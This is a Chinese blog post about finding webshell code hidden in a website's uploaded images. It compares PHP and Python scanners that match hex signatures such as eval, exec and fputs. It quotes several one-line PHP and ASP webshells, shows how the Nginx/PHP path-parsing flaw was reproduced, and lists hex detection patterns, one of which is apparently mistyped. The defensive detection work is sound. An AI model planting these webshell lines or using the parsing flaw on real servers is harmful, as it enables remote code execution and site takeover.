网站图片挂马检测及PHP与python的图片文件恶意代码检测对比
前言
周一一早网管收到来自阿里云的一堆警告,发现我们维护的一个网站下有数十个被挂马的文件。网管直接关了vsftpd,然后把警告导出邮件给我们。
取出部分大致如下:
服务器IP/名称 | 木马文件路径 | 更新时间 | 木马类型 | 状态(全部) |
---|---|---|---|---|
*.*.*.* | /path/*144.gif | 2017/8/7 5:53 | Webshell | 待处理 |
*.*.*.* | /path/*132.jpg | 2017/8/7 5:23 | Webshell | 待处理 |
*.*.*.* | /path/*156.txt | 2017/8/7 5:22 | Webshell | 待处理 |
*.*.*.* | /path/*0304.jpg | 2017/8/7 5:22 | 木马文件 | 待处理 |
分析
检查vsftpd后发现之前已经配置了只允许我们公司的ip访问的限制。
分析路径后发现,触发警报的文件均为同一路径下。
经过分析代码得出结论,只有通过管理端的上传图片功能或者使用管理端编辑器的图像上传功能才能将图片放入此文件夹内。
而触发木马警报的文件中有90%是交接前的文件(我们在交接时只验证了代码功能而忽视了图片安全性,失策)。
检查
path文件夹下,git内(交接之日收到的文件)的待检查加上FTP上(交接之日之后维护上传的文件)一共有1320个,分散在数个层级不等的文件夹内。
使用Notepad++
检查警告中显示的图片文件后发现,木马类型为Webshell
或木马文件
的图片或文件内含有恶意代码例如:
<%execute(request("a"))%> <?php eval($_POST['a']);?> <?fputs(fopen("TNT.PHP","w"),"<?eval(\$_POST[TNT]);?>")?> <% @Page Language="Jscript"%> <%eval(Request.Item["TNT"],"unsafe");%>
使用Notepad++
的十六进制模式(需安装插件HEX-Editor)查看
验证
经查询nginx有过由于配置错误导致的文件上传漏洞,详情见Nginx文件类型错误解析漏洞。
正好我的虚拟机上有nginx立刻来试一下。
虚拟机配置 | 版本 |
---|---|
nginx | 1.10.1 |
php | 7.2.0-dev |
- 首先用画图随便造个图片
- 使用
Notepad++ Hex-Editor
将<?php phpinfo(); ?>
插入任意角落。
- 将此图片传入虚拟机中
- 在虚拟机中编辑php的php.ini,将
;cgi.fix_pathinfo=1
打开 - 运行nginx,查看效果
经过验证可以得出,该nginx的bug是的确存在的。但是根据Nginx文件类型错误解析漏洞一文中描述,将cgi.fix_pathinfo
设为0并不能阻止漏洞的发生。
使用扫描读取图片二进制字符的方式,可以预防用户上传该类图片。
过滤
先观察了数个被报警的图片,提取了被挂马图片的共同点,放入Notepad++中
<%a(a)a%>00000 <?a(a)a?>00000 <script0000000 <SCRIPT0000000 script>0000000 SCRIPT>0000000
转成十六进制
由此可以得出彼此对应的十六进制
< | % | ( | ) | % | > |
---|---|---|---|---|---|
3c | 25 | 28 | 29 | 25 | 3e |
用php递归跑目录并检测二进制文本,随便选了个小一点的文件夹进行尝试。
function osWalk($path,$dirs=[]) {if (false != ($handle = opendir ( $path ))) {while ( false !== ($file = readdir ( $handle )) ) {if ($file != "." && $file != "..") {if(is_file($path.'\\'.$file))$dirs[]=$path.'\\'.$file;else$dirs=osWalk($path.'\\'.$file,$dirs);}}closedir ( $handle );}return $dirs; } function checkHex($img_path) {if (file_exists($img_path)) {$resource = fopen($img_path, 'rb');$fileSize = filesize($img_path);fseek($resource, 0); //把文件指针移到文件的开头$hexCode = bin2hex(fread($resource, $fileSize));fclose($resource);/* 匹配16进制中 <?php ?>|eval|fputs|fwrite */if (preg_match("/(3c3f706870.*?3f3e)|(6576616c)|(6670757473)|(667772697465)/is", $hexCode))return true;elsereturn false;} else {return false;} } $scan_start=microtime(true); $qsFiles=osWalk('e:\path_to_image'); $scan_end=microtime(true); $res=[]; $check_start=microtime(true); foreach($qsFiles as $qs){if (checkHex($qs))$res[]=$qs; } $check_end=microtime(true); echo vsprintf('文件总数:%d,中标文件:%d<br>扫码时间:%.2f秒,检测时间:%.2f秒<br>',array(count($qsFiles), count($res),$scan_end-$scan_start,$check_end-$check_start )); //echo implode('<br>',$res); #文件总数:1320,中标文件:28 #扫描时间:1.16秒,检测时间:125.50秒
觉得这样查时间有点多,用python也写了一个批量匹配
#!/usr/bin/python # -*- coding:utf-8 -*- import os,re,time,math; def check_hex(img_path,p):with open(img_path,'rb') as f:content=f.read();f.close();if p.search(content.encode('hex')):return True;return False; def main():#<?php ?>|eval|fputs|fwritep1=re.compile('(3c3f706870.*?3f3e)|(6576616c)|(6670757473)|(667772697465)');scan_start=time.time();total_files=0;total_taged=[];for parent,dirname,filenames in os.walk(r'E:\path_to_image'):for file in filenames:img_path=parent+os.path.sep+file;total_files+=1;if check_hex(img_path,p1):total_taged.append(img_path);scan_end=time.time();print u'扫描完成!总用时:%.2f秒。\r\n总共扫描文件数: %d,中标文件数: %d。'%((scan_end-scan_start),total_files,len(total_taged));#for tag in total_taged:# print tag;print 'END'; if __name__=='__main__':main();#扫描完成!总用时:97.24秒。 #总共扫描文件数: 1320,中标文件数: 28。
在相同的匹配条件下python的速度比php快22.4%。
PHP与python相同情况下扫描用时对比
接着又换了一批正则试验了一下,PHP和py匹配出的中标文件数差不多,但是用时py优于PHP。
正则组合1:
<?php ?>|<% %>|eval (3c3f706870.*?3f3e)|(3c25.*?253e)|(6576616c)
语言 | 中标数 | 用时(秒) |
---|---|---|
PHP | 956 | 14.81 |
python | 958 | 11.58 |
正则组合2:
<?php ?>|<% %>|eval|exec (3c3f706870.*?3f3e)|(3c25.*?253e)|(6576616c)|(65786563)
语言 | 中标数 | 用时(秒) |
---|---|---|
PHP | 956 | 18.40 |
python | 958 | 13.85 |
正则组合3:
<?php ?>|<% %>|eval|exec|write|put (3c3f706870.*?3f3e)|(3c25.*?253e)|(6576616c)|(65786563)|(7772697465)|(707574)
语言 | 中标数 | 用时(秒) |
---|---|---|
PHP | 961 | 26.74 |
python | 963 | 17.90 |
友情赠送
使用python获取字符串的十六进制比较方便,只需
print 'string'.encode('hex'); #737472696e67
这里放一点图片恶意代码,若有需要请随意使用
图片恶意代码 | hex |
---|---|
\<\?php \?> | 3c3f706870.*\?3f3e |
\<\? \?> | 3c3f.*\?3f3e |
\<\% \%> | 3c25.*\?253e |
exec | 65786563 |
eval | 6576616c |
system | 73797374656d |
passthru | 061737374687275 |
fputs | 6670757473 |
fwrite | 667772697465 |
总结
通过这次突发事件,发现了我们在接手新项目的流程里有很大漏洞,比如不会去检测对方发来的图片有没有什么问题。也幸好有这次的事件提了个醒,举一反三赶紧把手里的项目特别是生产服务器使用nginx的先查了个遍,撸掉一大批中标文件。以后若是新接手项目,一定要检查一下图片有没有问题。
备注:本文发布于2017-08-14,我github page的原文地址。
转载于:https://www.cnblogs.com/waltersgarden/p/7991825.html
网站图片挂马检测及PHP与python的图片文件恶意代码检测对比相关推荐
- 很多网站被挂马确找不到代码,arp挂马原理剖析
不管是访问服务器上的任何网页,就连404的页面也会在<>后加入: <IFRAME SRC= width =1 height=1 frameborder=0></IFRA ...
- 网站被挂马,有免费检测的网站吗?
如果你的网站被挂马,可以使用一些免费的网站进行检测,以下是一些推荐: Sucuri SiteCheck: https://sitecheck.sucuri.net/ Sucuri SiteCheck ...
- 织梦网站被黑客生成html,dedecms网站被挂马怎么处理
dedecms被批量挂马后如何处理?我们知道一般站长选择织梦系统是因为其支持生成静态页面以便于seo优化.但是根据西部数码west263.com开发工程师刘工介绍,一般被挂马的网站不单单是一个页面,目 ...
- 网站被黑了被挂马篡改后,如何解决网站被挂马?
文章目录 网站被黑了.被挂马.被篡改后,自己如何解决网站被挂马? 示例: 方法一 一. 发现被黑,网站被黑的症状 二.自己猜想了一下原因,页面和百度抓取收录显示不一致.查服务器日志方案不可行. 三.找 ...
- 教你如何防止网站被挂马!
如何防止网站被挂马! A.为什么好好的网站会有木马? 一般木马是来自ASP SHELL和PHP SHELL的程序段控制不严,程序上有上传功能,没有进行文件目录和文件后缀等的判断,一般这类的目录,以&q ...
- 放假期间网站被挂马的解决办法
放假期间网站被挂马的解决办法 青岛峰会期间本来想给自己放几天假的,因为网站的挂马给泡汤了,打开网站首页,使用浏览器的源代码功能,发现自己网站的首页多了很多木马代码,于是我连接FTP查看网站首页的代码中 ...
- 最新网站被挂马被跳转解决办法
撸了今年阿里.头条和美团的面试,我有一个重要发现.......>>> 最近收到一位客户的反馈,告知网站又被挂马,(织梦程序真让人头疼总是被挂马,dedecms经常是被挂马真晕了是的~ ...
- 警惕:高考将至 著名高校网站被挂马
据瑞星"云安全"系统监测,5月21日,"西南财经大学经济学院"."北京大学国家发展研究院"."广西新闻网"等网站被黑客挂 ...
- 解决web网站被挂马清除方法
解决web网站被挂马清除方法 参考文章: (1)解决web网站被挂马清除方法 (2)https://www.cnblogs.com/su-root/p/9976243.html 备忘一下.
- 黑客挂马紧盯娃娃 儿童节育儿教育网站被挂马
据瑞星"云安全"系统监测,5月31日,"39健康育儿网"."好得网教育频道"."湖南教育资源门户网-湘教在线"等大型教育 ...
最新文章
- scala可变长度参数函数
- 射影几何笔记6:齐次坐标下“点-线”几何关系
- mysql一次读取500条数据_mysql批量插入500条数据
- jzoj3736-[NOI2014模拟7.11]数学题(math)【计算几何】
- mvc 视图和模型的对应_通过在酒吧订购饮料来解释模型视图控制器(MVC)
- 凤凰os linux界面,让deepin linux系统与凤凰os共用个人目录的方法
- php post undefined index,PHP 中提示undefined index如何解决(多种方法)
- JavaScript常见笔试题分析
- 解决 应用程序无法启动(0xc000007b),请单击确定关闭应用程序
- python和vb编程哪个好_自学编程是从python还是从vb好
- PhotoShop基础——如何抠图
- python爬虫案例-爬取西刺免费代理服务器IP等信息
- 手把手教你开发基于单片机的wifi通信的物联网项目(远程灯控制)
- 为什么要学统计学:赤裸裸的统计学
- ios迅雷php格式,2019最新最全iOS迅雷文件提取方法
- 5类6类7类网线对比_五类网线、六类网线和七类网线有什么区别?如何挑选网线?...
- hololens 播放video
- 老域名抢注技巧是什么?
- ATX电源短接哪两个引脚可以开机
- 计算机毕设之 餐厅点餐app
热门文章
- c语言变量表达式计算器,C语言表达式计算器~
- Docker 连接宿主 Redis
- 计蒜客2018 ICPC SouthEastern European E. Fishermen
- 电影《中国合伙人》中的管理知识
- .net Stream篇(五)
- STM32F103_study55_The punctual atoms(STM32 PWM output experimental theoretical knowledge)
- SQL常用基础参考语句
- 接收IWebBrowser2的自动化事件
- 太白---落燕纷飞第一重 Android单元测试Instrumentation和irobotium
- python 模拟百度搜索关键词